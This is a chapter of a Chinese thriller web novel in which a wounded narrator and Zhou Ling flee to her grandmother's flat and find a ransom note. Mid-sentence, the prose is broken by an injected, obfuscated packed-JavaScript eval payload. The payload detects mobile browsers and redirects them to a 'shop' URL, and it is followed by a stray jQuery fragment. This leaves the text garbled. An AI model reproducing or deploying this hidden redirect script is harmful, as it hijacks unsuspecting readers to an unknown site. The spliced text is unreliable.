废弃停车场如同被时间遗忘的角落,死寂,荒凉。
只有风穿过生锈集装箱缝隙时发出的呜咽,以及远处铁路偶尔传来的、模糊得如同幻听的汽笛声,证明着世界仍在运转。
腹部的疼痛像一团不肯熄灭的余烬,在每一次呼吸间隐隐灼烧。周玲依旧跪坐在我面前,双手死死按着那块已经被血浸透的纱布。
**的效力彻底退去,留下的只有掏空般的疲惫和潮水般涌上的钝痛。
我靠在冰冷粗糙的集装箱壁上,连抬起手指的力气都仿佛被抽干。
“血……好像流得慢一点了。”周玲的声音带着一丝不确定的希冀,在寂静中显得格外清晰。
“嗯。”我应了一声,声音嘶哑得厉害。失血和疲惫让我的视线有些模糊。我知道这只是暂时的,没有缝合,没有抗生素,在这种环境下,伤口感染几乎是必然的结局。
我们必须尽快找到药品,找到一个能暂时藏身、处理伤口的地方。
但哪里是安全的?阿杰的组织,“创世纪”的残党,甚至可能还有被惊动的警方……我们如同过街老鼠,无处可去。
我尝试着动了动身体,想要换个姿势,却牵动了伤口,一阵尖锐的刺痛让我闷哼出声,额头上刚干涸的冷汗又冒了出来。
“你别动!”周玲急忙说道,手上加了力道,眼圈又红了,“怎么办……我们什么都没有……”
她的无助和绝望几乎要溢出眼眶。我看着她在昏暗光线下显得格外脆弱的脸庞,心脏像是被什么东西狠狠揪住。
“会有办法的。”我强迫自己用尽可能平稳的语气说道,尽管我自己也看不到任何出路。
此刻,我不能先倒下。
我的目光落在不远处那辆偷来的摩托车上。它是我们唯一的交通工具,也是明显的目标。阿杰他们很可能已经通过交通监控或者别的什么手段在搜寻这辆车。
“我们不能一直待在这里。”我说,“这辆车太显眼了。”
周玲顺着我的目光看去,也意识到了问题,脸上刚升起的一丝血色又褪了下去。“那……那我们能去哪里?”
我沉默着,大脑在疲惫和疼痛中艰难地转动。城市虽大,却似乎没有我们的容身之处。酒店、安全屋、甚至一般的旅馆都需要身份登记,无疑是自投罗网。那些不需要登记的黑旅社,同样鱼龙混杂,危险系数一点也不低。
或许……只有一个地方了。
一个被所有人忽略,也是最危险的地方。
“还记得……你奶奶家吗?”我缓缓开口。
周玲猛地抬起头,眼中闪过一丝惊愕,随即是更深的恐惧:“奶奶家?不行!他们肯定知道那里!太危险了!”
“最危险的地方,有时候反而最安全。”我解释道,声音因为虚弱而有些断断续续,“他们搜过那里,没有找到我们,注意力很可能已经转移到别处。而且……那里有你需要的东西,或许也有我能用的药品。”
更重要的是,那里是周玲唯一熟悉、能让她稍微感到安心的地方。
周玲咬着嘴唇,眼神激烈地挣扎着。她当然想回去,想确认奶奶是否安全,想回到那个虽然清贫却充满温暖的小窝。但理智又在疯狂地警告她,那可能是另一个陷阱。
“奶奶……不知道怎么样了……”她喃喃道,泪水终于忍不住滑落。
“回去看看。”我看着她,“小心一点,确认安全我们再进去。如果不对劲,立刻离开。”
这无疑是一场**。用我们两人残余的力气和运气,去赌一个微乎其微的可能性。
周玲看着我坚定的眼神,又看了看我腹部那片刺目的血红纱布,最终用力抹了把眼泪,重重地点了点头:“好!我们回去!”
我们丢弃了那辆显眼的摩托车,将它推进一个废弃集装箱的深处藏好。然后,相互搀扶着,如同两个重伤的士兵,踉跄地离开了这个临时的避难所,融入了城市黎明前最浓郁的黑暗之中。
每走一步,腹部的伤口都传来撕裂般的痛楚,冷汗浸透了内衫,被夜风一吹,冰冷刺骨。周玲几乎用尽了全身的力气支撑着我,她的身体同样单薄,却爆发出惊人的韧性。
我们避开主干道和可能有监控的路口,专挑灯光昏暗、曲折狭窄的小巷穿行。路程变得无比漫长,仿佛没有尽头。有好几次,我几乎要撑不住跪倒在地,都被周玲死死架住。
“坚持住……韩冰,就快到了……”她在我耳边不停地低声鼓励,声音带着哭腔,却异常坚定。
不知走了多久,天空边缘泛起了一丝鱼肚白。我们终于来到了周玲家所在的那片老旧的居民区附近。
没有立刻靠近。我们躲在一个早点摊支起来的塑料棚后面,借着黎明前最后的黑暗掩护,仔细观察着那栋熟悉的居民楼和楼下的小巷。
一切看起来……异常平静。
楼下没有停着可疑的车辆,楼道口也没有人影晃动。清晨的薄雾弥漫在巷子里,偶尔有早起锻炼的老人慢悠悠地走过,一切如常。
但这种平静,反而让人更加不安。
“好像……没什么人。”周玲压低声音,紧张地观察着。
“再等等。”我靠在冰冷的墙壁上,喘着气,腹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602026|187525||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
部的疼痛因为长时间的行走而加剧,眼前阵阵发黑。
我们屏息凝神,又观察了十几分钟。依旧没有任何异常。
“我……我先过去看看。”周玲咬了咬牙,说道。
“不行!”我立刻抓住她的手腕,“太危险!”
“可是你的伤……”周玲看着我惨白的脸色和不断渗血的腹部,心急如焚,“不能再拖了!我就到楼下看看,不进去,如果有问题我马上跑回来!”
看着她决绝的眼神,我知道阻止不了她。而且,我的状态确实无法再支撑更久。
“……小心。”我最终松开了手,将那把只剩几发**的**塞进她手里,“拿着防身。”
周玲握紧了冰冷的**,手微微颤抖,但眼神却更加坚定。
我紧紧盯着她的背影,心脏提到了嗓子眼。每一秒都如同一个世纪般漫长。
她顺利地摸到了楼道口,警惕地朝里面张望了一下,然后迅速闪了进去。
我的呼吸几乎停滞。
几分钟后,她的身影再次出现在楼道口,朝着我藏身的方向,用力而快速地挥了挥手。
悬着的心终于落下了一半。
我强撑着身体,扶着墙壁,一步步地向楼道口挪去。周玲快步迎上来,搀住我。
“楼道里没人,家里……家里好像也没动静。”她快速说道,语气带着一丝庆幸,也有一丝对奶奶的担忧。
我们互相搀扶着,小心翼翼地走上楼梯。楼道里安静得可怕,只有我们沉重而压抑的脚步声。
来到家门口,周玲拿出钥匙,手依旧有些抖。她看了我一眼,我点了点头。
钥匙插入锁孔,轻轻转动。
“咔哒。”
门,开了。
一股熟悉的、带着淡淡饭菜香和老人气息的味道扑面而来。
家里,空无一人。
客厅里收拾得干干净净,仿佛主人只是临时出门。但周玲一眼就看到了放在茶几上的一张字条。
她快步走过去,拿起字条,只看了一眼,脸色瞬间变得惨白,身体晃了晃,几乎站立不稳。
“怎么了?”我心中警铃大作,强忍着剧痛走过去。
周玲将字条递给我,眼泪无声地汹涌而出。
字条上,只有一行打印出来的、冰冷的字:
“想见奶奶,拿‘寒霜’来换。”
落款处,是一个简单的、手绘的——渔夫草帽图案。
“勋”!
他们抓走了奶奶!
我的心,瞬间沉入了无底冰窟。
刚逃离狼窝,又入虎穴。
而这一次,对方抓住了我们真正无法割舍的软肋。